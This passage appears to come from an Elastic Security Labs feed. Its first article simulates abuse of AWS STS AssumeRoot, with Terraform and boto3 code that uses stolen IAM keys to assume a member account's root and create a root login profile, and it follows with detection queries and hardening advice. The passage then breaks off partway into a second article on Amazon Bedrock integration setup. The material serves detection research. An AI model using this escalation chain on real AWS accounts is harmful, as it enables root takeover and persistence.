<li><strong>IAMCreateRootUserPassword</strong>: This policy grants the <a href="https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html"><code>iam:CreateLoginProfile</code></a> permission, allowing the creation of a login profile for a user that typically doesn't require console access. If an adversary gains access to programmatic credentials, they could create a login profile and gain console access to the account that is more persistent.</li> <li><strong>IAMDeleteRootUserCredentials</strong>: This policy allows the deletion of root credentials, but also grants permissions like <a href="https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListAccessKeys.html"><code>iam:ListAccessKeys</code></a> and <a href="https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListMFADevices.html"><code>iam:ListMFADevices</code></a>. These permissions could help an adversary gather critical information about access credentials or MFA configurations for further exploitation.</li> </ul> <h2>AssumeRoot in Action</h2> <p>Now that we understand how AssumeRoot works at a high level, how it differs from AssumeRole, and the potential risks associated with improper security practices, let’s walk through a practical scenario to simulate its usage. It should be noted that this is one of many potential scenarios where AssumeRoot may or could be abused. As of this article's publication, no active abuse has been reported in the wild, as expected with a newer AWS functionality.</p> <p>Below is a simple depiction of what we will accomplish in the following sections:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/exploring-aws-sts-assumeroot/image3.png" alt="AssumeRoot scenario workflow" /></p> <p>Before diving in, it’s important to highlight that we’re using an admin-level IAM user configured as the default profile for our local AWS CLI. This setup enables us to properly configure the environment using <a href="https://developer.hashicorp.com/terraform">Terraform</a> and simulate potential threat scenarios in AWS for detection purposes.</p> <h3>Member Account Creation</h3> <p>The first step is to enable centralized root access for member accounts, as outlined in the <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts.html">AWS documentation</a>. Centralized root access allows us to group all AWS accounts into a single organization, with each member account having its own root user.</p> <p>Next, we manually create a member account within our organization through the Accounts section in the AWS Management Console. For this scenario, the key requirement is to note the member account ID, a unique 12-digit number. For our example, we’ll assume this ID is <code>000000000001</code> and name it <em>AWSAssumeRoot</em>. Centralized management of AWS accounts is a common practice for organizations that may separate different operational services into separate AWS accounts but want to maintain centralized management.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/exploring-aws-sts-assumeroot/image4.png" alt="AWS console showing management account and member account AWSAssumeRoot" /></p> <p>We also add the member account as the <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_delegate_policies.html">delegated administrator</a> for centralized root access as well, which allows that root member account to have centralized root access for any other member accounts of the organization.</p> <p>While we won’t cover it in depth, we have also enabled the new <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html">Resource control policies</a> (RCPs) within Identity and Access Management (IAM), which will allow central administration over permissions granted to resources within accounts in our organization, but by default, the <em>RCPFullAWSAccess</em> policy allows all permissions to all services for all principals and is attached directly to root.</p> <h3>Environment Setup</h3> <p>For our simulation, we use Terraform to create an overly permissive IAM user named compromised_user. This user is granted the predefined <a href="https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html">AdministratorAccess</a> policy, which provides admin-level privileges. Additionally, we generated an access key for this user while intentionally omitting a login profile to reflect a typical setup where credentials are used programmatically. This is not an uncommon practice, especially in developer environments.</p> <p>Below is the <code>main.tf</code> configuration used to create the resources:</p> <pre><code>provider "aws" { region = var.region } data "aws_region" "current" {} # Create an IAM user with AdministratorAccess (simulated compromised user) resource "aws_iam_user" "compromised_user" { name = "CompromisedUser" } # Attach AdministratorAccess Policy to the compromised user resource "aws_iam_user_policy_attachment" "compromised_user_policy" { user = aws_iam_user.compromised_user.name policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess" } # Create access keys for the compromised user resource "aws_iam_access_key" "compromised_user_key" { user = aws_iam_user.compromised_user.name } </code></pre> <p>We also define an <code>outputs.tf</code> file to capture key details about the environment, such as the region, access credentials, and the user ARN:</p> <pre><code>output "aws_region" { description = "AWS Region where the resources are deployed" value = var.region } output "compromised_user_access_key" { value = aws_iam_access_key.compromised_user_key.id sensitive = true description = "Access key for the compromised IAM user" } output "compromised_user_secret_key" { value = aws_iam_access_key.compromised_user_key.secret sensitive = true description = "Secret key for the compromised IAM user" } output "compromised_user_name" { value = aws_iam_user.compromised_user.name description = "Name of the compromised IAM user" } output "compromised_user_arn" { value = aws_iam_user.compromised_user.arn description = "ARN of the compromised IAM user" } </code></pre> <p>Once we run <code>terraform apply</code>, the configuration creates a highly permissive IAM user (<code>compromised_user</code>) with associated credentials. These credentials simulate those that an adversary might obtain for initial access or escalating privileges.</p> <p>This is one of the first hurdles for an adversary, collecting valid credentials. In today’s threat landscape information stealer malware and phishing campaigns are more common than ever, aimed at obtaining credentials that can be sold or used for lateral movement. While this is a hurdle, the probability of compromised credentials for initial access is high - such as those with <a href="https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider_0.pdf">SCATTERED SPIDER</a> and <a href="https://sysdig.com/blog/scarleteel-2-0/">SCARLETEEL</a>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/exploring-aws-sts-assumeroot/image1.png" alt="" /></p> <h3>Establish an STS Client Session with Stolen Credentials</h3> <p>The next step is to establish an STS client session using the compromised credentials (<code>compromised_user</code> access key and secret key). This session allows the adversary to make requests to AWS STS on behalf of the compromised user.</p> <p>Here’s the Python code to establish the STS client using the <a href="https://aws.amazon.com/sdk-for-python/">AWS Boto3 SDK</a> (the AWS SDK used to create, configure, and manage AWS services, such as Amazon EC2 and Amazon S3). This Python code is used to create the STS client with stolen IAM user credentials:</p> <pre><code> sts_client = boto3.client( "sts", aws_access_key_id=compromised_access_key, aws_secret_access_key=compromised_secret_key, region_name=region, endpoint_url=f'https://sts.{region}.amazonaws.com' ) </code></pre> <p><img src="https://www.elastic.co/security-labs/assets/images/exploring-aws-sts-assumeroot/image7.png" alt="Terminal output when creating STS client with stolen IAM user credentials" /></p> <p><strong>Note:</strong> During testing, we discovered that the <code>endpoint_url</code> must explicitly point to <code>https://sts.<region>.amazonaws.com</code>. Omitting this may result in an <code>InvalidOperation</code> error when attempting to invoke the <code>AssumeRoot</code> API.</p> <p>This STS client session forms the foundation for simulating an adversary's actions as we have taken compromised credentials and initiated our malicious actions.</p> <h3>Assume Root for Member Account on Behalf of Compromised User</h3> <p>After establishing an STS client session as the compromised user, we can proceed to call the AssumeRoot API. This request allows us to assume the root identity of a member account within an AWS Organization. For the request, the TargetPrincipal is set to the member account ID we obtained earlier, the session duration is set to 900 seconds (15 minutes), and the TaskPolicyArn is defined as <code>IAMCreateRootUserPassword</code>. This policy scopes the permissions to actions related to creating or managing root login credentials.</p> <p>A notable permission included in this policy is <a href="https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html"><code>CreateLoginProfile</code></a>, which enables the creation of a login password for the root user. This allows access to the AWS Management Console as the root user.</p> <p>Below is the Python code to assume root of member account <code>000000000001</code>, with permissions scoped by <em>IAMCreateRootUserPassword</em>.</p> <pre><code>response = sts_client.assume_root( TargetPrincipal=member_account_id, DurationSeconds=900, TaskPolicyArn={"arn": "arn:aws:iam::aws:policy/root-task/IAMCreateRootUserPassword"}, ) root_temp_creds = response["Credentials"] </code></pre> <p>If the AssumeRoot request is successful, the response provides temporary credentials (<code>root_temp_creds</code>) for the root account of the target member. These credentials include an access key, secret key, and session token, enabling temporary root-level access for the duration of the session.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/exploring-aws-sts-assumeroot/image6.png" alt="Terminal output showing AssumeRoot with IAMCreateRootUserPassword for AWSAssumeRoot member account " /></p> <h3>Creating a Login Profile for the Member Root Account</h3> <p>With temporary root credentials in hand, the next step is to establish an authenticated IAM client session as the root user of the member account. Using this session, we can call the <code>create_login_profile()</code> method. This method allows us to assign a login password to the root user, enabling console access.</p> <p>The following Python code establishes an authenticated IAM client and creates a login profile:</p> <pre><code>iam_client = boto3.client( "iam", aws_access_key_id=root_temp_creds["AccessKeyId"], aws_secret_access_key=root_temp_creds["SecretAccessKey"], aws_session_token=root_temp_creds["SessionToken"], ) response = iam_client.create_login_profile() </code></pre> <p>It’s worth noting that the <code>create_login_profile()</code> method requires no explicit parameters for the root user, as it acts on the credentials of the currently authenticated session. In this case, it will apply to the root user of the member account.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/exploring-aws-sts-assumeroot/image5.png" alt="Terminal output showing IAM client established as Root member account and CreateLoginProfile request" /></p> <h3>Reset the Administrator Password and Login to the AWS Console</h3> <p>At this stage, we’re nearly complete! Let’s recap the progress so far:</p> <ol> <li>Using compromised IAM user credentials, we established an STS session to assume the identity of an overly permissive user.</li> <li>Leveraging this session, we assumed the identity of the root user of a target member account, acquiring temporary credentials scoped to the <code>IAMCreateRootUserPassword</code> task policy.</li> <li>With these temporary root credentials, we established an IAM client session and successfully created a login profile for the root user.</li> </ol> <p>The final step involves resetting the root user password to gain permanent access to the AWS Management Console. To do this, visit the AWS console login page and attempt to log in as the root user. Select the “Forgot Password” option to initiate the password recovery process. This will prompt a CAPTCHA challenge, after which a password reset link is sent to the root user’s email address. This would be the third roadblock for an adversary as they would need access to the root user’s email inbox to continue with the password reset workflow. It should be acknowledged that if <em>CreateLoginProfile</em> is called, you can specify the password for the user and enforce a “password reset required”. However, this is not allowed for root accounts by default, and for good reason by AWS. Unlike the first hurdle of having valid credentials, access to a user’s inbox may prove more difficult and less likely, but again, with enough motivation and resources, it is still possible.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/exploring-aws-sts-assumeroot/image2.png" alt="Password recovery request from AWS sign-in for root" /></p> <p>After selecting the password reset link, you can set a new password for the root user. This step provides lasting access to the console as the root user. Unlike the temporary credentials obtained earlier, this access is no longer limited by the session duration or scoped permissions of the IAMCreateRootUserPassword policy, granting unrestricted administrative control over the member account.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/exploring-aws-sts-assumeroot/image8.png" alt="Successful login as root for AWSAssumeRoot member account" /></p> <p><strong>Before moving on, if you followed along and tried this in your environment, we want to gently remind you to use Terraform to remove testing resources</strong> using the terraform destroy command in the same folder where you initialized and deployed the resources.</p> <h2>Detection and Hunting Opportunities</h2> <p>While exploring cloud features and APIs from an adversary's perspective is insightful, our ultimate responsibility lies in detecting and mitigating malicious or anomalous behavior, alerting stakeholders, and responding effectively. Also, while such a scenario has not been publicly documented in the wild, we should not wait to be a victim either and be reactive, hence the reason for our whitebox scenario.</p> <p>The following detection and hunting queries rely on AWS CloudTrail data ingested into the Elastic Stack using the <a href="https://www.elastic.co/docs/current/integrations/aws">AWS integration</a>. If your environment differs, you may need to adjust these queries for custom ingestion processes or adapt them for a different SIEM or query tool.</p> <p><strong>Note:</strong> Ensure that AWS CloudTrail is enabled for all accounts in your organization to provide comprehensive visibility into activity across your AWS environment. You may also need to enable the specific trail used for monitoring across the entire organization so all member accounts are observed properly.</p> <h3>Hunting - Unusual Action for IAM User Access Key</h3> <p>This query identifies potentially compromised IAM access keys that are used to make unusual API calls. It sorts the results in ascending order to surface less frequent API calls within the last two weeks. This query can be adjusted to account for different API calls or include other CloudTrail-specific fields.</p> <p>Hunting Query: <a href="https://github.com/elastic/detection-rules/blob/7b88b36d294407cc1ea2ab1b0acbbbf3104162a9/hunting/aws/docs/iam_unusual_access_key_usage_for_user.md">AWS IAM Unusual AWS Access Key Usage for User</a></p> <p>MITRE ATT&CK:</p> <ul> <li>T1078.004 - <a href="https://attack.mitre.org/techniques/T1078/004/">Valid Accounts: Cloud Accounts</a></li> </ul> <p>Language: ES|QL</p> <pre><code>FROM logs-aws.cloudtrail* | WHERE @timestamp > now() - 14 day | WHERE event.dataset == "aws.cloudtrail" and event.outcome == "success" and aws.cloudtrail.user_identity.access_key_id IS NOT NULL and aws.cloudtrail.resources.arn IS NOT NULL and event.action NOT IN ("GetObject") | EVAL daily_buckets = DATE_TRUNC(1 days, @timestamp) | STATS api_counts = count(*) by daily_buckets, aws.cloudtrail.user_identity.arn, aws.cloudtrail.user_identity.access_key_id, aws.cloudtrail.resources.arn, event.action | WHERE api_counts < 2 | SORT api_counts ASC </code></pre> <h3>Detection - Unusual Assume Root Action by Rare IAM User</h3> <p>Detection Rule: <a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/privilege_escalation_sts_assume_root_from_rare_user_and_member_account.toml">AWS STS AssumeRoot by Rare User and Member Account</a></p> <p>This query identifies instances where the <code>AssumeRoot</code> API call is made by an IAM user ARN and member account that have not performed this action in the last 14 days. This anomaly-based detection uses Elastic’s <a href="https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule">New Terms</a> detection rule.</p> <ul> <li>The <code>aws.cloudtrail.user_identity.arn</code> field identifies the source IAM user from the management AWS account.</li> <li>The <code>aws.cloudtrail.resources.account_id</code> field reflects the target member account.</li> </ul> <p>MITRE ATT&CK:</p> <ul> <li>T1548.005 - <a href="https://attack.mitre.org/techniques/T1548/005/">Temporary Elevated Cloud Access</a></li> <li>T1098.003 - <a href="https://attack.mitre.org/techniques/T1098/003/">Additional Cloud Roles</a></li> </ul> <p>Language: KQL</p> <pre><code>event.dataset: "aws.cloudtrail" and event.provider: "sts.amazonaws.com" and event.action: "AssumeRoot" and event.outcome: "success" </code></pre> <p>New Term Fields:<br /> If any combination of these fields has not been seen executing AssumeRoot within the last 14 days, an alert is generated.</p> <ul> <li><code>aws.cloudtrail.user_identity.arn</code></li> <li><code>aws.cloudtrail.resources.account_id</code></li> </ul> <h3>Detection - Self-Created Login Profile for Root Member Account</h3> <p>This query detects instances where a login profile is created for a root member account by the root account itself, potentially indicating unauthorized or anomalous behavior.</p> <p>Detection Rule: <a href="https://github.com/elastic/detection-rules/blob/4374128458d116211d5d22993b6d87f6c82a30a0/rules/integrations/aws/persistence_iam_create_login_profile_for_root.toml">AWS IAM Login Profile Added for Root</a></p> <p>MITRE ATT&CK:</p> <ul> <li>T1098.003 - <a href="https://attack.mitre.org/techniques/T1098/003/">Account Manipulation: Additional Cloud Roles</a></li> <li>T1548.005 - <a href="https://attack.mitre.org/techniques/T1548/005/">Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access</a></li> <li>T1078.004 - <a href="https://attack.mitre.org/techniques/T1078/004/">Valid Accounts: Cloud Accounts</a></li> </ul> <p>Language: ES|QL</p> <pre><code>FROM logs-aws.cloudtrail* | WHERE // filter for CloudTrail logs from IAM event.dataset == "aws.cloudtrail" and event.provider == "iam.amazonaws.com" // filter for successful CreateLoginProfile API call and event.action == "CreateLoginProfile" and event.outcome == "success" // filter for Root member account and aws.cloudtrail.user_identity.type == "Root" // filter for an access key existing which sources from AssumeRoot and aws.cloudtrail.user_identity.access_key_id IS NOT NULL // filter on the request parameters not including UserName which assumes self-assignment and NOT TO_LOWER(aws.cloudtrail.request_parameters) LIKE "*username*" | keep @timestamp, aws.cloudtrail.request_parameters, aws.cloudtrail.response_elements, aws.cloudtrail.user_identity.type, aws.cloudtrail.user_identity.arn, aws.cloudtrail.user_identity.access_key_id, cloud.account.id, event.action, source.address source.geo.continent_name, source.geo.region_name, source.geo.city_name, user_agent.original, user.id </code></pre> <p>These detections are specific to our scenario, however, are not fully inclusive regarding all potential AssumeRoot abuse. If you choose to explore and discover some additional hunting or threat detection opportunities, feel free to share in our <a href="https://github.com/elastic/detection-rules">Detection Rules</a> repository or the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Threat Hunting</a> library of ours.</p> <h2>Hardening Practices for AssumeRoot Use</h2> <p>AWS <a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html">documentation</a> contains several important considerations for best security practices regarding IAM, STS, and many other services. However, cloud security is not a “one size fits all” workflow and security practices should be tailored to your environment, risk-tolerance, and more.</p> <p><strong>Visibility is Key:</strong> If you can’t see it, you can’t protect it. Start by enabling CloudTrail with organization-wide trails to log activity across all accounts. Focus on capturing IAM and STS operations for insights into access and permission usage. Pair this with Security Hub for continuous monitoring and tools like Elastic or GuardDuty to hunt for unusual AssumeRoot actions.</p> <p><strong>Lock Down AssumeRoot Permissions:</strong> Scope AssumeRoot usage to critical tasks only, like audits or recovery, by restricting task policies to essentials like IAMAuditRootUserCredentials. Assign these permissions to specific roles in the management account and keep those roles tightly controlled. Regularly review and remove unnecessary permissions to maintain the PLoP.</p> <p><strong>MFA and Guardrails for Root Access:</strong> Enforce MFA for all users, especially those with access to AssumeRoot. Use AWS Organizations to disable root credential recovery unless absolutely needed and remove unused root credentials entirely. RCPs can help centralize and tighten permissions for tasks involving AssumeRoot or other sensitive operations.</p> <h1>Conclusion</h1> <p>We hope this article provides valuable insight into AWS’ AssumeRoot API operation, how it can be abused by adversaries, and some threat detection and hunting guidance. Abusing AssumeRoot is one of many living-off-the-cloud (LotC) techniques that adversaries have the capability to target, but we encourage others to explore, research, and share their findings accordingly with the community and AWS.</p> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/exploring-aws-sts-assumeroot/Security Labs Images 20.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Streamlining Security: Integrating Amazon Bedrock with Elastic]]></title> <link>https://www.elastic.co/security-labs/streamlining-security-integrating-amazon-bedrock</link> <guid>streamlining-security-integrating-amazon-bedrock</guid> <pubDate>Thu, 14 Nov 2024 00:00:00 GMT</pubDate> <description><![CDATA[This article will guide you through the process of setting up the Amazon Bedrock integration and enabling Elastic's prebuilt detection rules to streamline your security operations.]]></description> <content:encoded><![CDATA[<h1>Preamble</h1> <p>In the ever-evolving landscape of cloud computing, maintaining robust security while ensuring compliance is a critical challenge for organizations of all sizes. As businesses increasingly adopt the cloud, the complexity of managing and securing data across various platforms grows exponentially.</p> <p><a href="https://docs.aws.amazon.com/bedrock/latest/userguide/what-is-bedrock.html">Amazon Bedrock</a>, with its powerful foundation of machine learning and AI services, offers a scalable, secure environment for organizations to develop and deploy intelligent applications. However, to fully harness the potential of these innovations, it’s essential to implement a streamlined approach to security and compliance.</p> <p>Integrating Elastic with Amazon Bedrock can significantly enhance security monitoring and compliance management within your cloud environment. This integration leverages Elastic’s search, observability, and security capabilities to optimize how you manage and secure applications and data hosted on Amazon Bedrock.</p> <p>Elastic’s <a href="https://www.elastic.co/security/siem">security information and event management (SIEM) capabilities</a> can be used to analyze logs and monitor events generated by applications running on Amazon Bedrock. This allows for the detection of potential security threats in real-time and automated response actions to mitigate risks.</p> <p>This article will guide you through the process of setting up Amazon Bedrock integration and enabling our prebuilt detection rules to streamline your security operations. We will cover the following key aspects:</p> <ol> <li><strong>Prerequisites for Elastic Amazon Bedrock Integration:</strong> Understanding the core requirements for setting up Elastic Amazon Bedrock integration for cloud security.</li> <li><strong>Setting Up Amazon Bedrock Integration</strong>: Step-by-step instructions to set up Amazon Bedrock in your existing AWS infrastructure.</li> <li><strong>Enabling Prebuilt Security Rules</strong>: How to leverage <a href="https://www.elastic.co/guide/en/security/current/rules-ui-management.html">prebuilt rules</a> to detect high-confidence policy violations and other security threats.</li> <li><strong>Exploring High-Confidence Misconduct Blocks Detection:</strong> An in-depth look at a specific prebuilt rule designed to detect high-confidence misconduct blocks within Amazon Bedrocklogs.</li> <li><strong>Demonstrate an Exploit Case Scenario for Amazon Bedrock:</strong> Using a sample python script to simulate interactions with an Amazon Bedrock model for testing exploit scenarios that could trigger Elastic prebuilt detection rules.</li> </ol> <h1>Prerequisites for Elastic Amazon Bedrock Integration</h1> <h2>Elastic Integration for Amazon Bedrock</h2> <p>The Amazon Bedrock integration collects Amazon Bedrock model invocation logs and runtime metrics with Elastic Agent. For a deeper dive on the integration, documentation can be found in our <a href="https://www.elastic.co/docs/current/integrations/aws_bedrock">documentation.</a></p> <p>Below are the list of prerequisites to have a complete and successful configuration of Amazon Bedrock Elastic Integration:</p> <ul> <li>AWS Account Setup</li> <li>Elastic Cloud Requirements</li> <li>Terraform (Optional)</li> </ul> <h3>AWS Account Setup</h3> <ul> <li><strong>Active AWS Account</strong>: Ensure you have an active AWS account with the appropriate permissions to deploy and manage resources on Amazon Bedrock.</li> <li><strong>Amazon Bedrock Setup</strong>: Confirm that Amazon Bedrock is correctly configured and operational within your AWS environment. This includes setting up AI models, datasets, and other resources necessary for your applications. Refer to <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/getting-started.html">Getting started with Amazon Bedrock</a> for additional information on the setup.</li> <li><strong>IAM Roles and Permissions</strong>: Create or configure Identity and Access Management (IAM) roles with the necessary permissions to allow Elastic to access Amazon Bedrock resources. These roles should have sufficient privileges to read logs, metrics, and traces from AWS services. Additional details of the requirements can be found in our <a href="https://www.elastic.co/docs/current/integrations/aws#requirements">AWS documentation</a>.</li> </ul> <h3>Elastic Cloud Requirements</h3> <table> <thead> <tr> <th align="left"><a href="https://www.elastic.co/docs/current/integrations/aws_bedrock#changelog">Version</a></th> <th align="left">0.7.0 (Beta)</th> </tr> </thead> <tbody> <tr> <td align="left"><strong>Compatible Kibana version(s)</strong></td> <td align="left">8.13.0 or higher for integration version 0.2.0 and above. Minimum Kibana Version 8.12.0</td> </tr> <tr> <td align="left"><a href="https://www.elastic.co/docs/current/integrations/serverless/support"><strong>Supported Serverless project types</strong></a></td> <td align="left">Security Observability</td> </tr> <tr> <td align="left"><a href="https://www.elastic.co/subscriptions"><strong>Subscription level</strong></a></td> <td align="left">Basic</td> </tr> <tr> <td align="left"><a href="https://www.elastic.co/docs/current/integrations/support"><strong>Level of support</strong></a></td> <td align="left">Elastic</td> </tr> </tbody> </table> <p><strong>Note:</strong> Since the integration is in Beta Release Stage, please enable <em><strong>Display Beta Integrations in the browse integration section of the Management pane in your Elastic stack.</strong></em></p> <p><img src="https://www.elastic.co/security-labs/assets/images/streamlining-security-integrating-amazon-bedrock/image1.png" alt="" /></p> <h3>Terraform</h3> <p><a href="https://www.terraform.io/">Terraform</a> is an open source infrastructure-as-code (IaC) tool created by HashiCorp that allows you to define, provision, and manage cloud and on-premises infrastructure in a consistent and repeatable way.</p> <p>This is an optional step, but good to have as the next sections of the article we use this tool to set up the required AWS Infrastructure. Deep dive on installation and docs can be found <a href="https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli">here</a>.</p> <h1>Setting Up Amazon Bedrock Integration</h1> <p>In this section of the article, we will walk through the steps to set up Amazon Bedrock integration with Elastic in two parts:</p> <ol> <li><strong>Setting Up AWS Infrastructure with Terraform</strong>: In this section, we'll walk through the steps to set up an AWS infrastructure using Terraform. We'll create an S3 bucket, an EC2 instance with the necessary IAM roles and policies to access the S3 bucket, and configure security groups to allow SSH access. This setup is ideal for scenarios where you need an EC2 instance to interact with S3, such as for data processing or storage.</li> <li><strong>Elastic Agent and Integration Setup</strong>: In this section, we'll walk through the steps to install Elastic Agent on the AWS EC2 instance and Configure the Amazon Bedrock Integration.</li> </ol> <h3>Setting Up AWS Infrastructure with Terraform</h3> <p>The high-level configuration process will involve the following steps:</p> <ol> <li>Configuring <code>providers.tf</code></li> <li>Configuring <code>variables.tf</code></li> <li>Configuring <code>outputs.tf</code></li> <li>Configuring <code>main.tf</code></li> </ol> <p>The <code>providers.tf</code> file typically contains the configuration for any Terraform providers you are using in your project. In our example, it includes the configuration for the AWS provider. Here is the <a href="https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-providers-tf">sample content</a> of our <code>providers.tf</code> file. The <code>profile</code> mentioned in the <code>providers.tf</code> should be configured in the user’s space of the AWS credentials file <code>(~/.aws/credentials)</code>. Refer to <a href="https://docs.aws.amazon.com/cli/v1/userguide/cli-configure-files.html#cli-configure-files-format-profile">Configuration and credential file settings - AWS Command Line Interface</a>, which is also highlighted in the credential section of Elastic’s <a href="https://www.elastic.co/docs/current/integrations/aws#aws-credentials">AWS documentation</a>.</p> <p>The <code>variables.tf</code> file contains the variable definitions used throughout your Terraform configuration. For our scenario, it includes the definition for the aws_region and resource_labels. Here is the <a href="https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-variables-tf">sample content</a> of our <code>variables.tf</code> file.</p> <p>The <code>outputs.tf</code> file typically contains the output definitions for your Terraform configuration. These outputs can be used to display useful information after your infrastructure is provisioned. Here is the <a href="https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-outputs-tf">sample content</a> of our <code>outputs.tf</code> file</p> <p>The <code>main.tf</code> file typically contains the collection of all of these resources such as data sources, S3 bucket and bucket policy, Amazon Bedrock Model Invocation Log configuration, SQS Queue configuration, IAM Role and Policies required by the EC2 instance that would install Elastic Agent and stream logs and Amazon Bedrock Guardrail configuration. Here is the <a href="https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-main-tf">sample content</a> of our <code>main.tf</code> file.</p> <p>Once the <code>main.tf</code> is configured according to the requirements we can then initialize, plan and apply the terraform configuration.</p> <pre><code>terraform init // initializes the directory and sets up state files in backend terraform plan // command creates an execution plan terraform apply // command applies the configuration aka execution step </code></pre> <p>To tear down the infrastructure that terraform has previously created one can use the <code>terraform destroy</code> command.</p> <p>Once the infrastructure setup is completed, necessary resource identifiers are provided via <code>outputs.tf.</code> We can conduct a basic verification of the infrastructure created using the following steps:</p> <ol> <li>Verify the S3 Bucket created from the Terraform, one can either use aws cli command reference <a href="https://docs.aws.amazon.com/cli/latest/reference/s3api/list-buckets.html">list-buckets — AWS CLI 1.34.10 Command Reference</a> or navigate via AWS console to verify the same. 2. Verify the SQS Queue created from the terraform, one can either use aws cli command reference <a href="https://docs.aws.amazon.com/cli/latest/reference/sqs/list-queues.html">list-queues — AWS CLI 1.34.10 Command Reference</a> or navigate via AWS console to verify the same.</li> <li>Verify the EC2 Instance created from the AWS console and connect to the ec2-instance via <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html#ec2-instance-connect-connecting-console">Connect using EC2 Instance Connect - Amazon Elastic Compute Cloud</a> and run <code>aws s3 ls example-bucket-name</code> to check if the instance has access to the created S3 bucket.</li> <li>Verify the Amazon Bedrock Guardrail created from the Terraform, once can either use Amazon Bedrock API <a href="https://docs.aws.amazon.com/bedrock/latest/APIReference/API_ListGuardrails.html">ListGuardrails - Amazon Bedrock</a> or navigate via AWS console to verify the same.</li> </ol> <h3>Setting Up Elastic Agent and Integration Setup</h3> <p>To install Elastic Agent on the AWS EC2 instance and configure the Amazon Bedrock integration, create an agent policy using the guided steps in <a href="https://www.elastic.co/guide/en/fleet/current/agent-policy.html">Elastic Agent policies | Fleet and Elastic Agent Guide [8.15]</a>. Then log into to the ec2-instance created in the infrastructure setup steps via <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html#ec2-instance-connect-connecting-console">Connect using EC2 Instance Connect - Amazon Elastic Compute Cloud</a>, and install the elastic agent using the guided steps in <a href="https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html">Install Elastic Agents | Fleet and Elastic Agent Guide [8.15]</a>. During the agent installation, remember to select the agent policy created at the beginning of this setup process and use the relevant agent installation method depending on the instance created. Finally, ensure the agent is properly configured and there is incoming data from the agent.</p> <p>To configure the Amazon Bedrock integration in the newly-created policy, add the Amazon Bedrock integration using the guided steps: <a href="https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html">Add an Elastic Agent integration to a policy</a>. Enable Beta Integrations to use Amazon Bedrock integration as displayed in the image below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/streamlining-security-integrating-amazon-bedrock/image4.png" alt="" /></p> <p>Configure the Integration with AWS Access Keys to access the AWS account where Amazon Bedrock is configured. Use the Collect Logs from S3 bucket and specify the Bucket ARN created in the setup step. Please note to use either the S3 Bucket or the SQS Queue URL during the setup and <em>not both</em>. Add this integration to the existing policy where the ec2-instance is configured.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/streamlining-security-integrating-amazon-bedrock/image8.png" alt="" /></p> <h3>Verify Amazon Bedrock Model Invocation Log Ingestions</h3> <p>Once the Elastic Agent and integration setup is completed, we can conduct a basic verification of the integration to determine if the logs are being ingested as expected by using the following example API call:</p> <pre><code>aws bedrock-runtime converse \ --model-id "anthropic.claude-3-5-sonnet-20240620-v1:0" \ --messages '[{"role":"user","content":[{"text":"Hello "}]}]' \ --inference-config '{"maxTokens":2000,"stopSequences":[],"temperature":1,"topP":0.999}' \ --additional-model-request-fields '{"top_k":250}' \ --region us-east-1 </code></pre> <p>The example API call assumes a working setup with aws cli and there is access for the foundational model <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/model-parameters-anthropic-claude-messages.html">Anthropic Claude Messages API - Amazon Bedrock</a>. If the user does not have access to the model one can simply request access for models from the model-access page as suggested in <a href="https://docs.aws.amazon.com/bedrock/latest/userguide/model-access.html">Access Amazon Bedrock foundation models</a>, or we can optionally change the API call to any existing model the user can access.</p> <p>On successful execution of the above API call, the Amazon Bedrock Model invocation logs are populated and in Kibana <code>logs-aws_bedrock.invocation-default</code> should be populated with those invocation logs. We can use the following simple ES|QL query to return recently ingested events.</p> <pre><code>from logs-aws_bedrock.invocation-* | LIMIT 10 </code></pre> <h1>Enable Prebuilt Detection Rules</h1> <p>To enable prebuilt detection rules, first login to the elastic instance and from the left pane navigation navigate to Security → Rules → Detection rules (SIEM). Filter for “Data Source: Amazon Bedrock” from the tags section.</p> <p>Enable the available prebuilt rules. For prebuilt rules, the Setup information contains a helper guide to setup AWS Guardrails for Amazon Bedrock, which is accomplished in the <a href="?tab=t.0#bookmark=id.5wbf10usmxhz">Setting Up AWS Infrastructure with Terraform</a> step if the example is followed correctly and the terraform has the Amazon Bedrock Guardrail configuration. Please note this setup is vital for some of the rules to generate alerts–we need to ensure the guardrail is set up accordingly if skipped in the infrastructure setup stage.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/streamlining-security-integrating-amazon-bedrock/image3.png" alt="" /></p> <h1>Exploring High-Confidence Misconduct Blocks Detection</h1> <p>Let’s simulate a real world scenario in which a user queries 